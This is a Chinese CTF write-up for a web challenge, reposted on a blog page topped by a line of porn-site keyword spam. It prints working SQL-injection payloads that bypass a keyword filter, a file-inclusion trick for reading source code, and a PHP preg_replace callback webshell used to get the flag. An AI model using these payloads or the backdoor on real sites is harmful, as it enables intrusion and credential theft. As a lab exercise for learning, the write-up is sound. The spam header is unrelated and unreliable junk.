日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CG CTF WEB 综合题2

發布時間:2024/10/5 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CG CTF WEB 综合题2 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

http://cms.nuptzj.cn/

題解:

MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU=

base64解密

303167ad1d9ffe24b19cceb59f8707fe

md5解密

undefined?

?能點的都點一遍以后

?

?CMS說明的URL

http://cms.nuptzj.cn/about.php?file=sm.txt

訪問

http://cms.nuptzj.cn/sm.txt

存在config.php,index.php,passencode.php,say.php五個文件

admin的表結構(可能存在SQL注入)

從URL

http://cms.nuptzj.cn/about.php?file=sm.txt

可知,存在文件包含

可以獲取網站文件

獲取所有已知文件

about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php $file=$_GET['file']; if($file=="" || strstr($file,'config.php')){ echo "file參數不能為空!"; exit(); }else{ $cut=strchr($file,"loginxlcteam"); if($cut==false){$data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo "<script>alert('敏感目錄,禁止查看!但是。。。')</script>"; } }

存在文件loginxlcteam

訪問

http://cms.nuptzj.cn/loginxlcteam/

發現是后臺

用戶名、密碼未知

返回index.php

有留言搜索功能,可能存在數據庫查詢

直接使用功能

審查元素

發現文件so.php

下載so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/>&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>

發現antiinject.phpantixss.php兩個文件

antiinject.php

<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){$info=str_replace($keyword[$i], '',$info); } return $info; } ?>

作用:防止SQL注入

antixss.php

<?php function antixss($content){ preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url); $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因為太菜,很懶,所以。。。(過濾規則來自Mramydnei) $re=$url[2]; if(count($url)==0){ return htmlspecialchars($content); }else{ for($i=0;$i<=count($key);$i++){ $re=str_replace($key[$i], '_',$re); } return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES); } } ?>

作用:預防XSS攻擊

antiinject.php

過濾了敏感詞,可以用雙重繞過

過濾了空格,可以用/**/繞過

?SQL語句源代碼

$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");

SQL注入

soid=1/**/UNunionION/**/SELselectECT/**/1,2,3,4

其中

USER-AGENT=Xlcteam Browser

?SQL注入

soid=1/**/an=d/**/0/**/unio=n/**/selec=t/**/null,usernam=e,userpas=s,null/**/fro=m/**/admi=n

?passencode.php

<?php function passencode($content){ $pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>

作用:將用戶輸入的密碼存儲為ASCII碼的形式

[102 ,117 ,99 ,107 ,114 ,117 ,110 ,116 ,117]轉換[fuckruntu]

?用戶名:admin? ? 密碼:fuckruntu

登錄

xlcteam.php

<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>

回調后門?

?

獲取文件目錄?

flag

總結

以上是生活随笔為你收集整理的CG CTF WEB 综合题2的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。